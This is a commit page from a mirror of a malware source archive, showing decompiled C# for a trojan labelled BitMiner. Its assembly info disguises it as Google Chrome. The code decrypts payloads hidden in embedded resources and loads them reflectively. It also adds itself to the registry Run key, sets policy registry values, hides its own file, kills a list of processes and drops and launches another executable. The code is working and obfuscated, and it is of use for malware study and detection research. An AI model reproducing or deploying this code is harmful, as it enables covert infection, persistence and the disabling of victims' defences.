mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 07:49:24 +00:00
auto-decompiled msil via petikvx
add
This commit is contained in:
+13
@@ -0,0 +1,13 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyDescription("Google Chrome")]
|
||||
[assembly: AssemblyFileVersion("8.4.2.6")]
|
||||
[assembly: AssemblyTitle("Google Chrome")]
|
||||
[assembly: Guid("e8c7ff49-833c-4200-a678-2f919282a9d8")]
|
||||
[assembly: AssemblyCopyright("Copyright © Google Chrome 2012")]
|
||||
[assembly: AssemblyProduct("Google Chrome")]
|
||||
[assembly: AssemblyCompany("Google Chrome")]
|
||||
[assembly: AssemblyTrademark("Google Chrome")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyVersion("8.5.5.4")]
|
||||
BIN
Binary file not shown.
+556
@@ -0,0 +1,556 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Infinity.Form1
|
||||
// Assembly: Infinity, Version=8.5.5.4, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: AC3C4CF9-EFEE-4BAC-9551-610766AD93B5
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1.exe
|
||||
|
||||
using Infinity.My;
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Infinity
|
||||
{
|
||||
[DesignerGenerated]
|
||||
public class Form1 : Form
|
||||
{
|
||||
private IContainer components;
|
||||
[AccessedThroughProperty("Button1")]
|
||||
private Button _Button1;
|
||||
[AccessedThroughProperty("Button2")]
|
||||
private Button _Button2;
|
||||
[AccessedThroughProperty("Button3")]
|
||||
private Button _Button3;
|
||||
[AccessedThroughProperty("CheckBox1")]
|
||||
private CheckBox _CheckBox1;
|
||||
[AccessedThroughProperty("CheckBox2")]
|
||||
private CheckBox _CheckBox2;
|
||||
[AccessedThroughProperty("Label1")]
|
||||
private Label _Label1;
|
||||
[AccessedThroughProperty("LinkLabel1")]
|
||||
private LinkLabel _LinkLabel1;
|
||||
public string BoxpBqUOoodZnUf;
|
||||
public string[] GCTzSocfngoUufR;
|
||||
public object CIGivUzpSBeZxba;
|
||||
|
||||
public Form1()
|
||||
{
|
||||
this.Load += new EventHandler(this.Me_Load);
|
||||
this.BoxpBqUOoodZnUf = Application.ExecutablePath;
|
||||
this.GCTzSocfngoUufR = Strings.Split(Encoding.Default.GetString(this.KDToSBOWWjPRnNiVLGEorlu(this.GetType().Assembly.GetManifestResourceStream("LOeaZpRhcXLrwit"))), "||");
|
||||
this.InitializeComponent();
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!disposing || this.components == null)
|
||||
return;
|
||||
this.components.Dispose();
|
||||
}
|
||||
finally
|
||||
{
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.Button1 = new Button();
|
||||
this.Button2 = new Button();
|
||||
this.Button3 = new Button();
|
||||
this.CheckBox1 = new CheckBox();
|
||||
this.CheckBox2 = new CheckBox();
|
||||
this.Label1 = new Label();
|
||||
this.LinkLabel1 = new LinkLabel();
|
||||
this.SuspendLayout();
|
||||
Button button1_1 = this.Button1;
|
||||
Point point1 = new Point(62, 36);
|
||||
Point point2 = point1;
|
||||
button1_1.Location = point2;
|
||||
this.Button1.Name = "Button1";
|
||||
Button button1_2 = this.Button1;
|
||||
Size size1 = new Size(75, 23);
|
||||
Size size2 = size1;
|
||||
button1_2.Size = size2;
|
||||
this.Button1.TabIndex = 0;
|
||||
this.Button1.Text = "Button1";
|
||||
this.Button1.UseVisualStyleBackColor = true;
|
||||
Button button2_1 = this.Button2;
|
||||
point1 = new Point(125, 90);
|
||||
Point point3 = point1;
|
||||
button2_1.Location = point3;
|
||||
this.Button2.Name = "Button2";
|
||||
Button button2_2 = this.Button2;
|
||||
size1 = new Size(75, 23);
|
||||
Size size3 = size1;
|
||||
button2_2.Size = size3;
|
||||
this.Button2.TabIndex = 1;
|
||||
this.Button2.Text = "Button2";
|
||||
this.Button2.UseVisualStyleBackColor = true;
|
||||
Button button3_1 = this.Button3;
|
||||
point1 = new Point(64, 143);
|
||||
Point point4 = point1;
|
||||
button3_1.Location = point4;
|
||||
this.Button3.Name = "Button3";
|
||||
Button button3_2 = this.Button3;
|
||||
size1 = new Size(75, 23);
|
||||
Size size4 = size1;
|
||||
button3_2.Size = size4;
|
||||
this.Button3.TabIndex = 2;
|
||||
this.Button3.Text = "Button3";
|
||||
this.Button3.UseVisualStyleBackColor = true;
|
||||
this.CheckBox1.AutoSize = true;
|
||||
CheckBox checkBox1_1 = this.CheckBox1;
|
||||
point1 = new Point(195, 41);
|
||||
Point point5 = point1;
|
||||
checkBox1_1.Location = point5;
|
||||
this.CheckBox1.Name = "CheckBox1";
|
||||
CheckBox checkBox1_2 = this.CheckBox1;
|
||||
size1 = new Size(81, 17);
|
||||
Size size5 = size1;
|
||||
checkBox1_2.Size = size5;
|
||||
this.CheckBox1.TabIndex = 3;
|
||||
this.CheckBox1.Text = "CheckBox1";
|
||||
this.CheckBox1.UseVisualStyleBackColor = true;
|
||||
this.CheckBox2.AutoSize = true;
|
||||
CheckBox checkBox2_1 = this.CheckBox2;
|
||||
point1 = new Point(64, 95);
|
||||
Point point6 = point1;
|
||||
checkBox2_1.Location = point6;
|
||||
this.CheckBox2.Name = "CheckBox2";
|
||||
CheckBox checkBox2_2 = this.CheckBox2;
|
||||
size1 = new Size(81, 17);
|
||||
Size size6 = size1;
|
||||
checkBox2_2.Size = size6;
|
||||
this.CheckBox2.TabIndex = 4;
|
||||
this.CheckBox2.Text = "CheckBox2";
|
||||
this.CheckBox2.UseVisualStyleBackColor = true;
|
||||
this.Label1.AutoSize = true;
|
||||
Label label1_1 = this.Label1;
|
||||
point1 = new Point(153, 202);
|
||||
Point point7 = point1;
|
||||
label1_1.Location = point7;
|
||||
this.Label1.Name = "Label1";
|
||||
Label label1_2 = this.Label1;
|
||||
size1 = new Size(39, 13);
|
||||
Size size7 = size1;
|
||||
label1_2.Size = size7;
|
||||
this.Label1.TabIndex = 5;
|
||||
this.Label1.Text = "Label1";
|
||||
this.LinkLabel1.AutoSize = true;
|
||||
LinkLabel linkLabel1_1 = this.LinkLabel1;
|
||||
point1 = new Point(254, 139);
|
||||
Point point8 = point1;
|
||||
linkLabel1_1.Location = point8;
|
||||
this.LinkLabel1.Name = "LinkLabel1";
|
||||
LinkLabel linkLabel1_2 = this.LinkLabel1;
|
||||
size1 = new Size(59, 13);
|
||||
Size size8 = size1;
|
||||
linkLabel1_2.Size = size8;
|
||||
this.LinkLabel1.TabIndex = 6;
|
||||
((Label) this.LinkLabel1).TabStop = true;
|
||||
this.LinkLabel1.Text = "LinkLabel1";
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
size1 = new Size(292, 273);
|
||||
this.ClientSize = size1;
|
||||
this.Controls.Add((Control) this.LinkLabel1);
|
||||
this.Controls.Add((Control) this.Label1);
|
||||
this.Controls.Add((Control) this.CheckBox2);
|
||||
this.Controls.Add((Control) this.CheckBox1);
|
||||
this.Controls.Add((Control) this.Button3);
|
||||
this.Controls.Add((Control) this.Button2);
|
||||
this.Controls.Add((Control) this.Button1);
|
||||
this.Name = nameof (Form1);
|
||||
this.Text = nameof (Form1);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
|
||||
internal virtual Button Button1
|
||||
{
|
||||
get => this._Button1;
|
||||
[MethodImpl(MethodImplOptions.Synchronized)] set => this._Button1 = value;
|
||||
}
|
||||
|
||||
internal virtual Button Button2
|
||||
{
|
||||
get => this._Button2;
|
||||
[MethodImpl(MethodImplOptions.Synchronized)] set => this._Button2 = value;
|
||||
}
|
||||
|
||||
internal virtual Button Button3
|
||||
{
|
||||
get => this._Button3;
|
||||
[MethodImpl(MethodImplOptions.Synchronized)] set => this._Button3 = value;
|
||||
}
|
||||
|
||||
internal virtual CheckBox CheckBox1
|
||||
{
|
||||
get => this._CheckBox1;
|
||||
[MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox1 = value;
|
||||
}
|
||||
|
||||
internal virtual CheckBox CheckBox2
|
||||
{
|
||||
get => this._CheckBox2;
|
||||
[MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox2 = value;
|
||||
}
|
||||
|
||||
internal virtual Label Label1
|
||||
{
|
||||
get => this._Label1;
|
||||
[MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value;
|
||||
}
|
||||
|
||||
internal virtual LinkLabel LinkLabel1
|
||||
{
|
||||
get => this._LinkLabel1;
|
||||
[MethodImpl(MethodImplOptions.Synchronized)] set => this._LinkLabel1 = value;
|
||||
}
|
||||
|
||||
private void Me_Load(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (Conversions.ToDouble(this.GCTzSocfngoUufR[14]) != 0.0)
|
||||
Thread.Sleep(Conversions.ToInteger(this.GCTzSocfngoUufR[14]));
|
||||
if (Operators.CompareString(this.GCTzSocfngoUufR[4], "1", false) == 0)
|
||||
{
|
||||
if (Operators.CompareString(this.GCTzSocfngoUufR[5], "vbc", false) != 0)
|
||||
{
|
||||
if (Operators.CompareString(this.GCTzSocfngoUufR[5], "BoxpBqUOoodZnUf", false) == 0)
|
||||
{
|
||||
this.CIGivUzpSBeZxba = (object) new object[2]
|
||||
{
|
||||
(object) this.LsLOLVWWdCFsEingMSdaACi(this.KDToSBOWWjPRnNiVLGEorlu(this.GetType().Assembly.GetManifestResourceStream(this.GCTzSocfngoUufR[0])), this.GCTzSocfngoUufR[1]),
|
||||
(object) this.BoxpBqUOoodZnUf
|
||||
};
|
||||
}
|
||||
else
|
||||
{
|
||||
File.Copy(this.BoxpBqUOoodZnUf, Path.GetTempPath() + this.GCTzSocfngoUufR[5], true);
|
||||
this.CIGivUzpSBeZxba = (object) new object[2]
|
||||
{
|
||||
(object) this.LsLOLVWWdCFsEingMSdaACi(this.KDToSBOWWjPRnNiVLGEorlu(this.GetType().Assembly.GetManifestResourceStream(this.GCTzSocfngoUufR[0])), this.GCTzSocfngoUufR[1]),
|
||||
(object) (Path.GetTempPath() + this.GCTzSocfngoUufR[5])
|
||||
};
|
||||
}
|
||||
}
|
||||
else
|
||||
this.CIGivUzpSBeZxba = (object) new object[2]
|
||||
{
|
||||
(object) this.LsLOLVWWdCFsEingMSdaACi(this.KDToSBOWWjPRnNiVLGEorlu(this.GetType().Assembly.GetManifestResourceStream(this.GCTzSocfngoUufR[0])), this.GCTzSocfngoUufR[1]),
|
||||
Operators.ConcatenateObject((object) Environment.GetEnvironmentVariable(Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("3rm17KN0IIs=", "swLIqEddFNZC"))), this.AJkbYXUdkgkbRcoUDSDucTJ("EshhKLN3lL3cZwWaXMHBwtx+OWJgEgvRHmCrQtZ72o+6iCrcD1Thwjc+nYPqgfW0", "KaegYxNFpXZt"))
|
||||
};
|
||||
Assembly.Load(this.LsLOLVWWdCFsEingMSdaACi(this.KDToSBOWWjPRnNiVLGEorlu(this.GetType().Assembly.GetManifestResourceStream(this.GCTzSocfngoUufR[2])), this.GCTzSocfngoUufR[3])).GetType(Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("X0xCAeBJsjI=", "TyXoPoBuMvSC"))).InvokeMember(Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("GbfyujLmcNc=", "JPLXnDKMVsnR")), BindingFlags.InvokeMethod, (Binder) null, (object) null, (object[]) this.CIGivUzpSBeZxba);
|
||||
}
|
||||
else
|
||||
{
|
||||
this.CIGivUzpSBeZxba = (object) new object[6]
|
||||
{
|
||||
(object) this.LsLOLVWWdCFsEingMSdaACi(this.KDToSBOWWjPRnNiVLGEorlu(this.GetType().Assembly.GetManifestResourceStream(this.GCTzSocfngoUufR[0])), this.GCTzSocfngoUufR[1]),
|
||||
(object) true,
|
||||
(object) this.GCTzSocfngoUufR[5],
|
||||
(object) ".exe",
|
||||
(object) true,
|
||||
(object) false
|
||||
};
|
||||
Assembly.Load(this.LsLOLVWWdCFsEingMSdaACi(this.KDToSBOWWjPRnNiVLGEorlu(this.GetType().Assembly.GetManifestResourceStream(this.GCTzSocfngoUufR[2])), this.GCTzSocfngoUufR[3])).GetType(Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("HbrzivdJvbg=", "EToclJEhjQkp"))).InvokeMember(Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("q6qld5F3Bvsq18pgclnLkg==", "ujPYZXczGOrF")), BindingFlags.InvokeMethod, (Binder) null, (object) null, (object[]) this.CIGivUzpSBeZxba);
|
||||
}
|
||||
if (Operators.CompareString(this.GCTzSocfngoUufR[6], "YES", false) == 0)
|
||||
this.rbKlRUnFULflwDjGgnIdOPj(this.GCTzSocfngoUufR[7], this.GCTzSocfngoUufR[8]);
|
||||
if (Operators.CompareString(this.GCTzSocfngoUufR[10], "YES", false) == 0)
|
||||
this.XUPiGsPYJUeklhYgkBpeMWV();
|
||||
if (Operators.CompareString(this.GCTzSocfngoUufR[11], "YES", false) == 0)
|
||||
this.rcgagekgDFWgpQgXMOJiYiJ();
|
||||
if (Operators.CompareString(this.GCTzSocfngoUufR[9], "YES", false) == 0)
|
||||
this.mVoFoWtGSdllqoDfiMjAkWv();
|
||||
if (Operators.CompareString(this.GCTzSocfngoUufR[12], "YES", false) == 0)
|
||||
this.JKeJjnrWILIWEawRAOFXhOr();
|
||||
if (Operators.CompareString(this.GCTzSocfngoUufR[13], "YES", false) == 0)
|
||||
this.QrsSKZNcpBYmCpfNcKpPEXi();
|
||||
if (Operators.CompareString(this.GCTzSocfngoUufR[15], "YES", false) == 0)
|
||||
{
|
||||
int num = (int) Interaction.MsgBox((object) this.GCTzSocfngoUufR[18], (MsgBoxStyle) Conversions.ToInteger(this.GCTzSocfngoUufR[16]), (object) this.GCTzSocfngoUufR[17]);
|
||||
}
|
||||
if (Operators.CompareString(this.GCTzSocfngoUufR[19], "YES", false) == 0)
|
||||
{
|
||||
File.WriteAllBytes((Path.GetTempPath() + this.GCTzSocfngoUufR[22]).Replace("\0", ""), this.LsLOLVWWdCFsEingMSdaACi(this.KDToSBOWWjPRnNiVLGEorlu(this.GetType().Assembly.GetManifestResourceStream(this.GCTzSocfngoUufR[20])), this.GCTzSocfngoUufR[21]));
|
||||
Process.Start((Path.GetTempPath() + this.GCTzSocfngoUufR[22]).Replace("\0", ""));
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
this.Close();
|
||||
}
|
||||
|
||||
public object AJkbYXUdkgkbRcoUDSDucTJ(string OpYLktpcQZZGtbw, string KLRMgiGGRsnFwXQ)
|
||||
{
|
||||
TripleDESCryptoServiceProvider cryptoServiceProvider1 = new TripleDESCryptoServiceProvider();
|
||||
MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider();
|
||||
cryptoServiceProvider1.Key = cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(KLRMgiGGRsnFwXQ));
|
||||
cryptoServiceProvider1.Mode = CipherMode.ECB;
|
||||
ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor();
|
||||
byte[] inputBuffer = Convert.FromBase64String(OpYLktpcQZZGtbw);
|
||||
return (object) Encoding.ASCII.GetString(decryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length));
|
||||
}
|
||||
|
||||
public byte[] LsLOLVWWdCFsEingMSdaACi(byte[] WDHGaiBwEtINXLU, string qrSdGIwGSUsCahp)
|
||||
{
|
||||
TripleDESCryptoServiceProvider cryptoServiceProvider1 = new TripleDESCryptoServiceProvider();
|
||||
MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider();
|
||||
cryptoServiceProvider1.Key = cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(qrSdGIwGSUsCahp));
|
||||
cryptoServiceProvider1.Mode = CipherMode.ECB;
|
||||
ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor();
|
||||
byte[] inputBuffer = WDHGaiBwEtINXLU;
|
||||
return decryptor.TransformFinalBlock(inputBuffer, 0, checked (inputBuffer.Length - 1));
|
||||
}
|
||||
|
||||
private object rbKlRUnFULflwDjGgnIdOPj(string RjpBKtyoXKovFnX, string RFxHQxRvBmidXoU)
|
||||
{
|
||||
if (Operators.CompareString(this.BoxpBqUOoodZnUf, Path.GetTempPath() + RFxHQxRvBmidXoU, false) != 0)
|
||||
{
|
||||
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("vrFlkkFZPyv/PaLhu+M8Sve0qn9MPR6N8YwlIiU6DgnwoqzG5px+sSQnT9PZlxUE", "DZlzhykoPDBu")), true);
|
||||
registryKey.SetValue(RjpBKtyoXKovFnX, (object) (Path.GetTempPath() + RFxHQxRvBmidXoU), RegistryValueKind.String);
|
||||
registryKey.Close();
|
||||
try
|
||||
{
|
||||
File.Copy(this.BoxpBqUOoodZnUf, Path.GetTempPath() + RFxHQxRvBmidXoU, true);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
}
|
||||
object obj;
|
||||
return obj;
|
||||
}
|
||||
|
||||
private object rcgagekgDFWgpQgXMOJiYiJ()
|
||||
{
|
||||
try
|
||||
{
|
||||
MyProject.Computer.Registry.SetValue(Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("Ex83CH2VwetM26t99/umFrGW7rPWL8ritl3cZZmy+LtVOr/cxgyZNvpoj6mVAJ0hP51oiD0EPaSF2AvyOWOEqA==", "daxTrxtFJXsu")), Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("FMNBzQqMSBciR3sp4yAn8Q==", "XgbFUnIaVKqy")), (object) "1", RegistryValueKind.DWord);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
object obj;
|
||||
return obj;
|
||||
}
|
||||
|
||||
private object XUPiGsPYJUeklhYgkBpeMWV()
|
||||
{
|
||||
try
|
||||
{
|
||||
MyProject.Computer.Registry.SetValue(Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("I89VZskGCDhd/GZ5c+BjBJHC5XHBJARTbpGmz8vNGXi99SfQEJqcsUbU0BTE4oF+aD2a920L/sGdoYfyKxolee92OnnltQNSnfDwLq0G/L0=", "aYdPIPtGGVZc")), Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("AvKOWEExAhyCZLc3z8E57Q==", "sShaKruPrvKU")), (object) "1", RegistryValueKind.DWord);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
object obj;
|
||||
return obj;
|
||||
}
|
||||
|
||||
private object mVoFoWtGSdllqoDfiMjAkWv()
|
||||
{
|
||||
try
|
||||
{
|
||||
MyProject.Computer.Registry.SetValue(Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("QgCjlzU7YcmHGIDowjH8FiMN/8gFV7tZKvdRM/bT6omRHVpWcrnjICbs8k3BG5t7W1ijH7r4dCtSCr0AzDD+Z9HH2uMABg5Fl62uhST0OrU=", "XkXKlIGiQhTX")), Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("fUTX/knxoEa84gjm2rGoTi0aFB+PmIaT", "EepjCyWrQIFQ")), (object) "1", RegistryValueKind.DWord);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
object obj;
|
||||
return obj;
|
||||
}
|
||||
|
||||
private object QrsSKZNcpBYmCpfNcKpPEXi()
|
||||
{
|
||||
try
|
||||
{
|
||||
File.SetAttributes(this.BoxpBqUOoodZnUf, FileAttributes.Hidden | FileAttributes.System);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
object obj;
|
||||
return obj;
|
||||
}
|
||||
|
||||
private object JKeJjnrWILIWEawRAOFXhOr()
|
||||
{
|
||||
Process[] processesByName1 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("XKWPUhwW7m/tezTA4dTfDg==")));
|
||||
int index1 = 0;
|
||||
while (index1 < processesByName1.Length)
|
||||
{
|
||||
processesByName1[index1].Kill();
|
||||
checked { ++index1; }
|
||||
}
|
||||
Process[] processesByName2 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("e1G7yYeJYZ8G7OnXz9LegQ==")));
|
||||
int index2 = 0;
|
||||
while (index2 < processesByName2.Length)
|
||||
{
|
||||
processesByName2[index2].Kill();
|
||||
checked { ++index2; }
|
||||
}
|
||||
Process[] processesByName3 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("Pve2X+qFyXSu25PqVRY1Wg==")));
|
||||
int index3 = 0;
|
||||
while (index3 < processesByName3.Length)
|
||||
{
|
||||
processesByName3[index3].Kill();
|
||||
checked { ++index3; }
|
||||
}
|
||||
Process[] processesByName4 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("NQXCJ6HW5shpdkoPsD8XeA==")));
|
||||
int index4 = 0;
|
||||
while (index4 < processesByName4.Length)
|
||||
{
|
||||
processesByName4[index4].Kill();
|
||||
checked { ++index4; }
|
||||
}
|
||||
Process[] processesByName5 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("8zm2foWAu6l8x0ClGoU29A==")));
|
||||
int index5 = 0;
|
||||
while (index5 < processesByName5.Length)
|
||||
{
|
||||
processesByName5[index5].Kill();
|
||||
checked { ++index5; }
|
||||
}
|
||||
Process[] processesByName6 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("12tPwJrUdwcYqi/Qb6XX8g==")));
|
||||
int index6 = 0;
|
||||
while (index6 < processesByName6.Length)
|
||||
{
|
||||
processesByName6[index6].Kill();
|
||||
checked { ++index6; }
|
||||
}
|
||||
Process[] processesByName7 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("l9W1baN3G99dBxRhfaxhOQ==")));
|
||||
int index7 = 0;
|
||||
while (index7 < processesByName7.Length)
|
||||
{
|
||||
processesByName7[index7].Kill();
|
||||
checked { ++index7; }
|
||||
}
|
||||
Process[] processesByName8 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("UGGAdXbMfXXmSxkvK3pYVg==")));
|
||||
int index8 = 0;
|
||||
while (index8 < processesByName8.Length)
|
||||
{
|
||||
processesByName8[index8].Kill();
|
||||
checked { ++index8; }
|
||||
}
|
||||
Process[] processesByName9 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("jyXTA+CxmEC077RGcCcjWA==")));
|
||||
int index9 = 0;
|
||||
while (index9 < processesByName9.Length)
|
||||
{
|
||||
processesByName9[index9].Kill();
|
||||
checked { ++index9; }
|
||||
}
|
||||
Process[] processesByName10 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("Evb7RpMgYYSFzalFXwZoBg==")));
|
||||
int index10 = 0;
|
||||
while (index10 < processesByName10.Length)
|
||||
{
|
||||
processesByName10[index10].Kill();
|
||||
checked { ++index10; }
|
||||
}
|
||||
Process[] processesByName11 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("2rL+4HzzfTuPdunxdJEjbQ==")));
|
||||
int index11 = 0;
|
||||
while (index11 < processesByName11.Length)
|
||||
{
|
||||
processesByName11[index11].Kill();
|
||||
checked { ++index11; }
|
||||
}
|
||||
Process[] processesByName12 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("awgjqbhJ/8im/4kIGtRvyg==")));
|
||||
int index12 = 0;
|
||||
while (index12 < processesByName12.Length)
|
||||
{
|
||||
processesByName12[index12].Kill();
|
||||
checked { ++index12; }
|
||||
}
|
||||
Process[] processesByName13 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("hJx7adv0sFK0oh1mHPs64w==")));
|
||||
int index13 = 0;
|
||||
while (index13 < processesByName13.Length)
|
||||
{
|
||||
processesByName13[index13].Kill();
|
||||
checked { ++index13; }
|
||||
}
|
||||
Process[] processesByName14 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("4i7QVOPPBtyRF45l1w2r0w==")));
|
||||
int index14 = 0;
|
||||
while (index14 < processesByName14.Length)
|
||||
{
|
||||
processesByName14[index14].Kill();
|
||||
checked { ++index14; }
|
||||
}
|
||||
object obj;
|
||||
return obj;
|
||||
}
|
||||
|
||||
private object rKATFrKYfIciVrvPUYehjuv(string sRYSmkQhVJLkULYcO)
|
||||
{
|
||||
RijndaelManaged rijndaelManaged = new RijndaelManaged();
|
||||
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes("vjvuhowrpuHZGFrvuVtNRYQ", new byte[8]
|
||||
{
|
||||
(byte) 1,
|
||||
(byte) 2,
|
||||
(byte) 3,
|
||||
(byte) 4,
|
||||
(byte) 5,
|
||||
(byte) 6,
|
||||
(byte) 7,
|
||||
(byte) 8
|
||||
});
|
||||
rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.Key.Length);
|
||||
rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.IV.Length);
|
||||
MemoryStream memoryStream = new MemoryStream();
|
||||
CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Write);
|
||||
object obj;
|
||||
try
|
||||
{
|
||||
byte[] buffer = Convert.FromBase64String(sRYSmkQhVJLkULYcO);
|
||||
cryptoStream.Write(buffer, 0, buffer.Length);
|
||||
cryptoStream.Close();
|
||||
obj = (object) Encoding.UTF8.GetString(memoryStream.ToArray());
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
return obj;
|
||||
}
|
||||
|
||||
private byte[] KDToSBOWWjPRnNiVLGEorlu(Stream fDQofwUuYVBnHVG)
|
||||
{
|
||||
int int32 = Convert.ToInt32(fDQofwUuYVBnHVG.Length);
|
||||
byte[] buffer = new byte[checked (int32 + 1)];
|
||||
fDQofwUuYVBnHVG.Read(buffer, 0, int32);
|
||||
fDQofwUuYVBnHVG.Close();
|
||||
return buffer;
|
||||
}
|
||||
}
|
||||
}
|
||||
+120
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
